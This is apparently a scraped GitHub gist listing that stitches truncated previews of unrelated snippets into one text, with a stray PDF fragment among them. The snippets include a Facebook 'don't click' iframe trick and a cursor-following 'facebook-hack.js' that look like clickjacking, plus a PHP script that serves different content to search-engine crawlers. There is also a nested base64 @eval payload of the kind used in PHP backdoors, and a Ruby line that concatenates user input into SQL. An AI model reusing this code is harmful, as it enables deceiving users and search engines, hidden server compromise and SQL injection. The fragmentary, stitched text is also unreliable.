Skip to content

Instantly share code, notes, and snippets.

@vinhboy
vinhboy / gist:1274476
Created October 10, 2011 01:57
Testing backbone js powered shopping cart
<html>
<body>
<table id="cart">
<thead>
<tr>
<th></th>
<th>Price/Bottle</th>
<th>Quantity</th>
<th>Total</th>
</tr>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>Untitled document</title>
</head>
<p>&nbsp;</p>
<div id="ahdl2" style="z-index: 1500;overflow: hidden;"><a onclick="ahdl2.setInnerFBML(slink2);" style="cursor: pointer;"><img src="http://vinhboy.com/blog/wp-content/uploads/2010/10/dont_click_button.jpg" width="457" border="0" /></a></div>
<p><fb:js-string var="slink2"> <fb:iframe frameborder="0" smartsize="false" resizable="true" scrolling="yes" style="width:850px; height:1000px; border:none" src="http://www.vinhboy.com"></fb:iframe> </fb:js-string></p>
<div style="float: left; display: inline;z-index: 1; width:200px; height:850px;" id="first_layer"></div>
<p>
<?php
/*
Plugin Name: TwentyTen Adwords Plugin
Description: An easy way to add an Adwords to the TwentyTen theme without modifying it.
Author: vinhboy
Author URI: http://vinhboy.com
*/
if (!class_exists("twentytenadwordsClass")) {
class twentytenAdwordsClass {
<<
/Subtype /Type1C
/Filter [
/FlateDecode ]
/Length 10710
>>
@vinhboy
vinhboy / gist:420564
Created June 1, 2010 04:32
facebook-hack.js
function mouseFollower(e){
/* DO NOT EDIT THIS */
if (window.event)
{ // for IE
icontainer.style.top = (window.event.y-5)+standardbody.scrollTop+'px';
icontainer.style.left = (window.event.x-5)+standardbody.scrollLeft+'px';
}
else
{
icontainer.style.top = (e.pageY-5)+'px';
jQuery(".tracked").click(function(){
var rel = jQuery(this).attr('href');
pageTracker._trackPageview('/outbound/'+rel);
if (pageTracker._trackEvent("Outbound", "URL", rel)) {
window.location = rel;
}
return false;
});
<?php
if (stristr($_SERVER["HTTP_USER_AGENT"],"googlebot")||
stristr($_SERVER["HTTP_USER_AGENT"],"msnbot")||
stristr($_SERVER["HTTP_USER_AGENT"],"Yahoo")||
stristr($_SERVER["HTTP_USER_AGENT"],"search")||
stristr($_SERVER["HTTP_USER_AGENT"],"ovguide")){
function get_url($url){
$ch = @curl_init();
@curl_setopt ($ch, CURLOPT_URL, $url);
@curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
<?php @eval(@base64_decode("ZXZhbChiYXNlNjRfZGVjb2RlKCJaWFpoYkNoaVlYTmxOalJmWkdWamIyUmxLQ0phV0Zwb1lrTm9hVmxZVG14T2FsSm1Xa2RXYW1JeVVteExRMHBMVWpOTk5WUldVazVrTURrMVZXNVNVVll4V1RCWk1HUTBaR3h3U0ZaWE9VcGhiazV3VkVWT1NtVkZOVVZVVkdST1ZrVXdlVlF6Y0VwbGF6VlZZek5zVG1GdFl6TlVWbEphWlZVNU5sSlVUazVTU0U0MVZHdFNSazR3TVhGVlZFcFFaV3RyZDFSVlVucGxWVEUyVmxSa1RtRnNSalJVTTNCS1RVVTFjV016YkU5U1JVVXpWRlpTYW1Rd09UWlNWRXBQWVc1T05WUlhjRVpPTURGeFVWUldVR1ZyVlRGVU1WSjZaVlV4UlZwNlpFNWhhMVkxVkROd1JrNVZPVlZqTTJ4T1VrZGpNMVJYY0VaTk1EazJVbFJLVGxKSVRqVlVWVkpLVGpBeGNWSlVRbEJsYTJ3MFZHdFNlbVZWTVZWUlZHUk9ZV3RzTkZRemNFcGxSVFZWWXpOc1RsSkhjek5VVmxKeVRsVTVObE5ZWkZCU1NFNDFWRmR3Ums0d01WVmhla1pRWld0Vk1WUnVjSHBsUlRsVllYcGtUbUZyUlhkVU0zQktaVVUxUldNemFFOWhhMFV6VkZkd1NtVnJPVFpTVkU1UFVraE9ORlJ0Y0VKT01ERnhVMVJXVUdWcmJEWlVibkI2WlZVeE5sbDZaRTVoYTJzeFZETndTbVZyT1VWak0yeE9aV3RWTTFSWGNFcE5SVGsyVTFod1QyVnVUalZVYTFKYVRqQXhWVmRZWkZCbGExVjZWRlpTZW1WVk5WVlZWR1JPWVd4VmQxUXpjRXBOUlRGVll6TnNUMUpHYXpOVVYzQlNaREE1TmxOWWNFOVdTRTQxVkd0U1JrNHdNWEZWVkVwUVpXdHJkMVJWVW5wbFJUVTJVVlJrVGxa
<?
function get_url($url){
$ch = curl_init();
curl_setopt ($ch, CURLOPT_URL,"$url");
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch, CURLOPT_USERAGENT,"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-EN; rv:1.7.12) Gecko/20050919 Firefox/1.0.7");
curl_setopt ($ch, CURLOPT_TIMEOUT, 150);
$out=curl_exec ($ch);
curl_close ($ch);
return $out;
condition += ' AND (subscribers.subdomain LIKE \'%'+params[:search][:term]+'%\' OR subscribers.name LIKE \'%'+params[:search][:term]+'%\')'